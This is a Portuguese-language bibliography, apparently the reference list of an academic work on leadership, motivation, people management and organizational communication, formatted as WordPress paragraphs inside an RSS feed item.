<p class="wp-block-paragraph">BERGAMINI, Cecília Whitaker. <strong>Motivação nas organizações</strong>. São Paulo: Atlas, 1997. &nbsp;</p>



<p class="wp-block-paragraph">BERGAMINI, Cecília Whitaker. <strong>Liderança: administração do sentido</strong>. 6. ed. São Paulo: Atlas, 2009</p>



<p class="wp-block-paragraph">BERGAMINI, Cecília Whitaker. Liderança: <strong>A administração do sentido</strong>. 3. ed. São Paulo: Atlas, 2012. &nbsp;</p>



<p class="wp-block-paragraph">BLANCHARD, Ken; ZIGARMI, Drea; ZIGARMI, Patricia. <strong><em>Leadership and the One Minute Manager: Increasing Effectiveness Through Situational Leadership II</em></strong>. 3. ed. New York: William Morrow, 2019.</p>



<p class="wp-block-paragraph">CAVALCANTE, Francisco Gomes. <strong>Comunicação interna</strong>: a força das empresas. São Paulo: Atlas, 2008.</p>



<p class="wp-block-paragraph">CHIAVENATO, Idalberto. <strong>Comportamento organizacional</strong>: A dinâmica do sucesso das organizações. Rio de Janeiro: Elsevier, 2010. &nbsp;</p>



<p class="wp-block-paragraph">CHIAVENATO, Idalberto. <strong>Gestão de pessoas</strong>: O novo papel dos recursos humanos nas organizações. 3. ed. São Paulo: Manole, 2010. &nbsp;</p>



<p class="wp-block-paragraph">CHIAVENATO, Idalberto. <strong>Administração</strong>: Teoria, processo e prática. 5. ed. São Paulo: Elsevier, 2014.&nbsp;</p>



<p class="wp-block-paragraph">CHIAVENATO, Idalberto. <strong>Gestão de Pessoas:</strong> O novo papel dos recursos humanos nas organizações. 4. ed. Rio de Janeiro: Elsevier, 2014.</p>



<p class="wp-block-paragraph">CHIAVENATO, Idalberto. <strong>Gestão de pessoas:</strong> o novo papel dos recursos humanos nas organizações. 4. ed. Rio de Janeiro: Elsevier, 2020.</p>



<p class="wp-block-paragraph">CHIAVENATO, Idalberto. <strong>Introdução à teoria geral da administração</strong>: Uma visão abrangente da moderna administração das organizações. 9. ed. Rio de Janeiro: Elsevier, 2014. &nbsp;</p>



<p class="wp-block-paragraph">CORTELLA, Mário Sérgio. <strong>A sorte segue a coragem</strong>! – Oportunidades, competências e tempo de vida. 23. ed. Rio de Janeiro: Sextante, 2021.</p>



<p class="wp-block-paragraph">CORTELLA, Mário Sérgio. <strong>Se você não existisse, que falta faria?</strong> Provocações filosóficas. Petrópolis, RJ: Vozes, 2018.</p>



<p class="wp-block-paragraph">CRESWELL, J. W.<strong> </strong><strong><em>Research design: </em></strong><em>qualitative, quantitative, and mixed methods approaches.Thousand Oaks: Sage Publications</em>, 2009.<strong> </strong>&nbsp;</p>



<p class="wp-block-paragraph">DRUCKER, Peter F. <strong>Desafios da administração para o século XXI</strong>. Nova York: HarperBusiness, 2006. &nbsp;</p>



<p class="wp-block-paragraph">DUTRA, Joel Souza. <strong>Gestão de pessoas</strong>: modelo, processos, tendências e perspectivas. São Paulo: Atlas, 2016.</p>



<p class="wp-block-paragraph">EISENBEISS, Silke A. <em>et al.</em> Liderança transformacional e criatividade: O papel moderador da personalidade do líder. <strong><em>Journal of Leadership &amp; Organizational Studies,</em></strong> v. 28, n. 1, p. 5-23, 2021. </p>



<p class="wp-block-paragraph">FERNANDES, Lorena Gava; SANT’ANNA, Marllon; CARLETTI, Ednea Zandonadi Brambila. Tipos de lideranças e suas relevâncias no ambiente organizacional: características que diferem líder do chefe. <strong>Revista Dimensão Acadêmica</strong>, v. 6, n. 2, p. 1-15, 2021</p>



<p class="wp-block-paragraph">FERREIRA, Aurélio Buarque de Holanda. <strong>Novo Dicionário Aurélio da Língua Portuguesa.</strong> 4. ed. Curitiba: Positivo, 2010.</p>



<p class="wp-block-paragraph">GARCIA, Rosa M.; LEWIS, Peter. Comunicação de liderança e seu papel no fomento ao engajamento dos colaboradores. <strong><em>Leadership &amp; Organization Development Journal, </em></strong>v. 43, n. 5, p. 412-425, 2022. &nbsp;</p>



<p class="wp-block-paragraph">GEROLAMO, Mateus Cecílio; BERTASSINI, Ana Carolina; PONCE, Lilian Graciano. <strong>Introdução à gestão da mudança em organizações</strong>. Piracicaba: Editora PECEGE, 2023.</p>



<p class="wp-block-paragraph">GIL, Antonio Carlos. <strong>Como elaborar projetos de pesquisa</strong>. 4.ed. São Paulo: Atlas, 2002. &nbsp;</p>



<p class="wp-block-paragraph">&nbsp;GIL, Antonio Carlos. <strong>Métodos e técnicas de pesquisa social.</strong> 7. ed. São Paulo: Atlas, 2017. &nbsp;</p>



<p class="wp-block-paragraph">GOLEMAN, Daniel. <strong>Liderança: a inteligência emocional na formação do líder de sucesso.</strong> Rio de Janeiro: Objetiva, 2013.</p>



<p class="wp-block-paragraph">GOLEMAN, Daniel. Inteligência emocional: <strong>Por que ela pode importar mais do que o QI. </strong>2. ed. Nova York: Bantam Books, 2017. &nbsp;</p>



<p class="wp-block-paragraph">GOLEMAN, Daniel. <strong>Liderança</strong>: A inteligência emocional no comando. São Paulo: Objetiva, 2017. &nbsp;</p>



<p class="wp-block-paragraph">GOMES, Como. <strong>Harmonia organizacional:</strong> Liderança, Comunicação e Bem-Estar. LinkedIn, 2023.</p>



<p class="wp-block-paragraph">HACKMAN, J. R.; OLDHAM, G. R. Motivação através do design do trabalho: Teste de uma teoria. <strong><em>Organizational Behavior and Human Performance</em></strong>, v. 16, n. 2, p. 250-279, 1976. &nbsp;</p>



<p class="wp-block-paragraph">HERSEY, Paul; BLANCHARD, Kenneth H.; JOHNSON, Dewey E. <strong>Administração do comportamento organizacional</strong>: Utilizando recursos humanos. 10. ed. Nova York: Pearson, 2019. &nbsp;</p>



<p class="wp-block-paragraph">JUDGE, Timothy A.; PICCOLO, Ronald F. Liderança transformacional e transacional: Um teste meta-analítico de sua validade relativa. <strong><em>Journal of Applied Psychology</em></strong>, v. 89, n. 5, p. 755-768, 2004. &nbsp;</p>



<p class="wp-block-paragraph">KAPLAN, Robert S.; NORTON, David P. A organização orientada para a estratégia: Como empresas que utilizam o <em>Balanced Scorecard</em> prosperam em um ambiente de negócios. Boston: <strong>Harvard Business Review Press</strong>, 2001. &nbsp;</p>



<p class="wp-block-paragraph">LACOMBE, Francisco José Masset. <strong>Recursos humanos</strong>: princípios e tendências. 3. ed. São Paulo: Saraiva, 2019.</p>



<p class="wp-block-paragraph">LAVILLE, Christian; DIONNE, Jean. <strong>A construção do saber</strong>: manual de metodologia da pesquisa em ciências humanas. Porto Alegre: Artmed; Belo Horizonte: UFMG, 1999. &nbsp;</p>



<p class="wp-block-paragraph">LEAL, Adriana Pinheiro; MAFRA. NETTO, Alberto Mário Eficiência na comunicação organizacional. <strong>Revista de Administração, Contabilidade e Economia,</strong> v. 18, n. 1, p. 1-15, 2019.</p>



<p class="wp-block-paragraph">LEE, Emily. Motivação personalizada: <strong>Uma abordagem moderna para compreender as diferenças individuais.</strong> [s.l.]: [s.n.], 2024. &nbsp;</p>



<p class="wp-block-paragraph">LOCKE, Edwin A.; LATHAM, Gary P. Construindo uma teoria prática de definição de metas e motivação para tarefas: Uma odisséia de 35 anos. <strong><em>American Psychologist</em></strong>, v. 57, n. 9, p. 705-717, 2002. &nbsp;</p>



<p class="wp-block-paragraph">MARCON, Margarete de Fátima. <strong>Um olhar sobre a relação entre plano de desenvolvimento institucional &#8211; PDI e índice geral de cursos &#8211; IGC</strong>: um estudo em universidades públicas do estado do Paraná. 2014. 182f. Dissertação (Mestrado &nbsp;em Administração) – Programa de Pós-Graduação em Administração da Universidade Regional de Blumenau, Blumenau, 2014. &nbsp;</p>



<p class="wp-block-paragraph">MARCONI, Marina de Andrade; LAKATOS, Eva Maria. <strong>Metodologia do trabalho científico</strong>. 6.ed. São Paulo: Atlas, 2001. &nbsp;</p>



<p class="wp-block-paragraph">MARCONI, Marina de Andrade; LAKATOS, Eva Maria. <strong>Fundamentos de metodologia científica.</strong> 8. ed. São Paulo: Atlas, 2017. &nbsp;</p>



<p class="wp-block-paragraph">MARQUES, José Roberto. <strong>Liderança com inteligência emocional</strong>. São Paulo: Editora Gente, 2021.</p>



<p class="wp-block-paragraph">MARRAS, Jean Pierre. <strong>Gestão de pessoas:</strong> subtítulos e estratégias. 4. ed. São Paulo: Saraiva Educação, 2017.</p>



<p class="wp-block-paragraph">MARTINS, Ana. <strong>Fatores psicológicos e motivação</strong>: Uma perspectiva moderna.  [s.l.]: [s.n.], 2022. </p>



<p class="wp-block-paragraph">MATTAR, Fauze Najib. <strong>Pesquisa de marketing</strong>. São Paulo: Atlas, 1999. &nbsp;</p>



<p class="wp-block-paragraph">MAXIMIANO, Antonio Cesar Amaru. <strong>Teoria geral da administração: </strong>da revolução urbana à revolução digital. 6. ed. São Paulo: Atlas, 2012.</p>



<p class="wp-block-paragraph">MAXIMIANO, Antonio Cesar Amaru. <strong>Teoria geral da administração</strong>: da revolução urbana à revolução digital. 8. ed. São Paulo: Atlas, 2016.</p>



<p class="wp-block-paragraph">MEDEIROS, João Bosco. <strong>Redação científica.</strong> 5.ed. São Paulo: Atlas, 2003. &nbsp;</p>



<p class="wp-block-paragraph">MORAN, José Manuel. <strong>Mudanças na comunicação pessoal</strong>: gerenciamento integrado da comunicação pessoal, social e tecnológica. São Paulo: Paulinas, 1998.</p>



<p class="wp-block-paragraph">MOTTA, Fernando C. Prestes. <strong>Teoria geral da administração:</strong> uma introdução. 3. ed. São Paulo: Thomson Learning, 2013.</p>



<p class="wp-block-paragraph">MUMFORD, Michael D.; et al. Liderança e o contexto em mudança. <strong><em>The Leadership Quarterly, </em></strong>v. 28, n. 1, p. 50-64, 2017. &nbsp;</p>



<p class="wp-block-paragraph">NORTHOUSE, Peter G. <strong>Liderança:</strong> teoria e prática. 8. ed. <em>Thousand Oaks: Sage Publications,</em> 2018. &nbsp;</p>



<p class="wp-block-paragraph">NORTHOUSE, Peter G. <strong><em>Leadership: </em></strong><em>Theory and Practice</em>. 9. ed. Thousand Oaks: Sage Publications, 2021.</p>



<p class="wp-block-paragraph">OLIVEIRA, Marcelo. <strong>Dinâmicas da liderança moderna</strong>. Rio de Janeiro: [s.n.], 2010. &nbsp;</p>



<p class="wp-block-paragraph">PFEFFER, Jeffrey. BS da liderança: Corrigindo ambientes de trabalho e carreiras uma verdade de cada vez. Nova York: <strong><em>Harper Business</em></strong>, 2015. &nbsp;</p>



<p class="wp-block-paragraph">PONTES, Benedito Rodrigues<strong>. Planejamento, recrutamento e seleção de pessoal</strong>. 4. ed. São Paulo: LTr, 2004.</p>



<p class="wp-block-paragraph">REGO, Arménio; CUNHA, Miguel Pina e CUNHA; CUNHA, Rita Campos e CUNHA. <strong>Liderança</strong>: a inteligência emocional na gestão de pessoas. 2. ed. São Paulo: Saraiva, 2019</p>



<p class="wp-block-paragraph">RICHARDSON, Roberto Jarry <em>et al</em>. <strong>Pesquisa social:</strong> métodos e técnicas. 3.ed. São Paulo: Atlas, 2011. &nbsp;</p>



<p class="wp-block-paragraph">RYAN, Richard M.; DECI, Edward L. Motivação intrínseca e extrínseca: Definições clássicas e novas direções. <strong><em>Contemporary Educational Psychology</em></strong>, v. 25, n. 1, p. 54-67, 2000. &nbsp;</p>



<p class="wp-block-paragraph">RYAN, Richard M.; DECI, Edward L. Teoria da autodeterminação: Necessidades psicológicas básicas em motivação, desenvolvimento e bem-estar. <strong><em>Nova York: Guilford Press</em></strong>, 2020. &nbsp;</p>



<p class="wp-block-paragraph">SANTOS, M. C.; SANTOS, R. P.; MELO, S. R.; VALDEZ, S. B. J. <strong>Estratégias para melhorar a motivação e o engajamento dos colaboradores</strong>: Um estudo exploratório. Trabalho de conclusão de curso (Técnico em Administração) – Etec Profª Carmelina Barbosa, Dracena. Repositório Institucional do Centro Paula Souza, 2024. &nbsp;</p>



<p class="wp-block-paragraph">SCHUNK, Dale H. <strong>Teorias da aprendizagem</strong>: Uma perspectiva educacional. 6. ed. Nova York: Pearson, 2012. &nbsp;</p>



<p class="wp-block-paragraph">SILVA, Geferson Gustavo Wagner Mota da; ANDRADE, Sílvia Patricia Cavalheiro de; CAMFIELD, Claudio Eduardo Ramos. Interfaces entre clima organizacional e estilos de liderança: da análise do estado da arte à construção de uma agenda de pesquisa. <strong>Revista de Gestão e Secretariado</strong> – GeSec, São José dos Pinhais, v. 16, n. 1, p. 01-22, 2025.</p>



<p class="wp-block-paragraph">STONE, Douglas; HEEN, Sheila. <strong>Obrigado pelo </strong><strong><em>feedback</em></strong>: A ciência e a arte de receber bem o retorno. Nova York: Viking, 2022. &nbsp;</p>



<p class="wp-block-paragraph">TAMAYO, Álvaro. <strong>Valores e comportamento nas organizações</strong>. Porto Alegre: Artmed, 2008.&nbsp;</p>



<p class="wp-block-paragraph">TORQUATO, Gaudêncio. <strong>Comunicação nas organizações:</strong> empresas privadas, instituições e setor público: conceitos, estratégias, planejamento e técnicas. São Paulo: Summus Editorial, 2015.</p>



<p class="wp-block-paragraph">VERGARA, Sylvia Constant. Gestão de Pessoas. 3. ed. São Paulo: Atlas, 2016.</p>



<p class="wp-block-paragraph">VERGARA, Sylvia Constant. Gestão de pessoas. 4. ed. São Paulo: Atlas, 2021.</p>



<p class="wp-block-paragraph">WARR, Peter; CLAPPERTON, Guy. <strong>A alegria do trabalho?</strong> Empregos, felicidade e você. Londres: Routledge, 2021.&nbsp;</p>



<p class="wp-block-paragraph">YUKL, Gary. <strong>Liderança em organizações</strong>. 8. ed. Boston: Pearson, 2013.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
